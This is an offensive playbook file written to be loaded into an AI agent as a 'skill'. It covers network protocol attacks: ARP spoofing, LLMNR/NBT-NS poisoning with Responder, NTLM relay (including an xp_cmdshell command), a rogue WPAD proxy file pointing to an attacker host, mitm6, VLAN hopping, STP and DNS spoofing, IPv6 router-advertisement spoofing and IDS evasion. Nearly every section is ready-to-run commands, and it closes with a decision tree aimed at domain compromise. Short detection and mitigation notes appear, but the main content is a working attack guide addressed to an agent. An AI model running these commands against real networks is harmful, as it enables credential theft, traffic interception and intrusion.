network-protocol-attacks

SKILL: Network Protocol Attacks — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert network protocol attack techniques. Covers ARP spoofing, name resolution poisoning (LLMNR/NBT-NS/mDNS), WPAD abuse, DHCPv6 takeover, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion. Base models miss the chaining opportunities between these attacks and the nuances of modern switched network exploitation.

0. RELATED ROUTING

Before going deep, consider loading:

• tunneling-and-pivoting after establishing MitM position for traffic redirection
• ntlm-relay-coercion for relaying captured NTLM hashes from poisoning attacks
• unauthorized-access-common-services for exploiting services discovered during network attacks
• traffic-analysis-pcap for analyzing captured traffic from MitM

Advanced Reference

Also load NAME_RESOLUTION_POISONING.md when you need:

• Detailed Responder/mitm6 configuration and workflows
• NTLM relay target selection and chaining
• Credential format analysis and cracking priorities

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1. ARP SPOOFING

Gratuitous ARP — MitM Positioning

# arpspoof (dsniff suite)
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &

# ettercap — ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//

# bettercap — modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on

Selective Targeting

# bettercap — target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on

Detection Indicators

• Duplicate MAC addresses in ARP table
• Gratuitous ARP storms from non-gateway IPs
• Tools: arpwatch, static ARP entries, 802.1X port authentication

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2. LLMNR / NBT-NS / mDNS POISONING

Responder — Credential Capture

# Basic poisoning (LLMNR + NBT-NS + mDNS)
responder -I eth0 -dwPv

# Key flags:
# -d  Enable answers for DHCP broadcast requests (fingerprinting)
# -w  Start WPAD rogue proxy
# -P  Force NTLM auth for WPAD
# -v  Verbose

# Analyze mode only (passive, no poisoning)
responder -I eth0 -A

Captured Hash Formats

Protocol	Hash Type	Hashcat Mode	Crackability
NTLMv1	NetNTLMv1	5500	Fast — rainbow tables viable
NTLMv2	NetNTLMv2	5600	Moderate — dictionary + rules
NTLMv1-ESS	NetNTLMv1	5500	Fast — same as NTLMv1

# Crack captured hashes
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt

Relay Instead of Crack

# ntlmrelayx — relay captured NTLM to other services
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://DC01 --delegate-access    # RBCD attack
ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"

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3. WPAD ABUSE

# Responder with WPAD proxy
responder -I eth0 -wPv

# WPAD flow:
# 1. Client queries DHCP for WPAD → DNS for wpad.domain.com → LLMNR/NBT-NS
# 2. Responder answers with rogue wpad.dat
# 3. Browser uses attacker's proxy → forced NTLM auth → credential capture

Manual WPAD PAC File

// Rogue wpad.dat content
function FindProxyForURL(url, host) {
    return "PROXY ATTACKER_IP:3128; DIRECT";
}

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4. DHCPv6 ATTACK — mitm6

Even on IPv4-only networks, Windows clients send DHCPv6 solicitations by default.

# mitm6 → DNS takeover → NTLM relay
mitm6 -d domain.com

# In parallel: relay captured NTLM to LDAP(S) for delegation
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access

# Attack chain:
# 1. mitm6 answers DHCPv6 → sets attacker as IPv6 DNS
# 2. Victim DNS queries go to attacker → WPAD redirect
# 3. Forced NTLM auth → relay to LDAP → create machine account or RBCD

Key Conditions

• SMB signing disabled on targets (for SMB relay)
• LDAP signing not enforced on DC (for LDAP relay)
• Domain Computers quota > 0 (for machine account creation, default: 10)

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5. VLAN HOPPING

Switch Spoofing (DTP)

# yersinia — DTP attack to negotiate trunk
yersinia dtp -attack 1 -interface eth0

# frogger.sh — automated VLAN hopping via DTP
./frogger.sh
# Sends DTP frames → switch enables trunking → access all VLANs

# After trunk established:
modprobe 8021q
vconfig add eth0 TARGET_VLAN
ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up

Double Tagging (802.1Q)

# Craft double-tagged frame: outer=native VLAN, inner=target VLAN
# scapy:
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()
sendp(pkt, iface="eth0")

# Limitation: one-way only (responses go to real gateway)
# Effective for blind attacks (e.g., targeting a server)

Mitigation

• Disable DTP: switchport nonegotiate
• Set native VLAN to unused: switchport trunk native vlan 999
• Prune VLANs: only allow needed VLANs on trunk ports

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6. STP MANIPULATION

Root Bridge Claim

# yersinia — claim root bridge with lowest priority
yersinia stp -attack 4 -interface eth0

# Send BPDUs with priority 0 → become root bridge
# All traffic flows through attacker → MitM

Topology Change Attack

# Send TC (Topology Change) BPDUs → force MAC table flush
yersinia stp -attack 1 -interface eth0
# Switches flood all ports temporarily → sniff traffic

Mitigation

• BPDU Guard on access ports
• Root Guard on designated ports
• spanning-tree portfast bpduguard enable

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7. DNS SPOOFING

DNS Cache Poisoning

# bettercap DNS spoofing
bettercap -iface eth0
> set dns.spoof.domains target.com, *.target.com
> set dns.spoof.address ATTACKER_IP
> dns.spoof on

# ettercap DNS spoofing (via etter.dns config)
echo "target.com A ATTACKER_IP" >> /etc/ettercap/etter.dns
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /VICTIM// /GATEWAY//

Kaminsky Attack Variant

Flood recursive resolver with forged responses for random subdomains, each including a malicious authority section pointing the NS record to attacker-controlled server.

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8. IPv6 ATTACKS

Router Advertisement Spoofing

# Send rogue RA → victim configures attacker as default gateway
atk6-fake_router6 eth0 ATTACKER_IPV6_PREFIX/64

# THC-IPv6 suite for comprehensive IPv6 attacks
atk6-parasite6 eth0     # ICMPv6 neighbor spoofing
atk6-redir6 eth0 ...    # Traffic redirection via ICMPv6 redirect

SLAAC Abuse

# Advertise rogue prefix → victim auto-configures IPv6 address
# Combined with rogue DNS (RA option) → full MitM over IPv6
# Windows prioritizes IPv6 over IPv4 by default

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9. IDS/IPS EVASION

Technique	Method	Tool/Flag
IP Fragmentation	Split payload across fragments	nmap -f, fragroute
TTL Manipulation	Set TTL to expire at IDS but reach target	fragroute
Encoding Evasion	URL/Unicode/hex encoding	Manual, custom scripts
Session Splicing	Split TCP payload across segments	fragroute, nmap --data-length
Timing-Based	Slow scan to avoid rate-based detection	nmap -T0, nmap -T1
Decoy Scanning	Mix real scan with decoy source IPs	nmap -D RND:10
Idle/Zombie Scan	Use idle host as scan proxy	nmap -sI ZOMBIE_IP

# fragroute — fragment and reorder packets
echo "ip_frag 8" > /tmp/frag.conf
echo "order random" >> /tmp/frag.conf
fragroute -f /tmp/frag.conf TARGET_IP

# nmap evasion combinations
nmap -sS -f --mtu 24 --data-length 50 -D RND:5 -T2 TARGET

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10. DECISION TREE

Network access obtained — want to escalate via network attacks
│
├── On same broadcast domain as targets?
│   ├── YES → ARP spoof for MitM (§1)
│   │   └── Capture plaintext creds or redirect traffic
│   └── NO → need VLAN hopping first (§5)
│       ├── DTP enabled? → switch spoofing
│       └── Know native VLAN? → double tagging
│
├── Windows environment?
│   ├── LLMNR/NBT-NS enabled? (default YES)
│   │   └── Run Responder (§2) → capture NetNTLM hashes
│   │       ├── NTLMv1? → crack fast or relay
│   │       └── NTLMv2? → relay (§2) or crack with rules
│   │
│   ├── WPAD configured or auto-detect? → WPAD abuse (§3)
│   │
│   └── IPv6 not hardened? (default) → mitm6 + ntlmrelayx (§4)
│       └── LDAP relay → RBCD → domain compromise
│
├── Need DNS control?
│   ├── MitM already established? → DNS spoofing (§7)
│   └── DHCPv6 available? → mitm6 for DNS takeover (§4)
│
├── Managed switches with weak config?
│   ├── BPDU Guard off? → STP root bridge claim (§6)
│   └── DTP enabled? → VLAN hopping (§5)
│
├── IPv6 attack surface?
│   └── RA spoofing / SLAAC abuse (§8) → MitM over IPv6
│
└── IDS/IPS in path?
    └── Apply evasion techniques (§9) — fragmentation, timing, encoding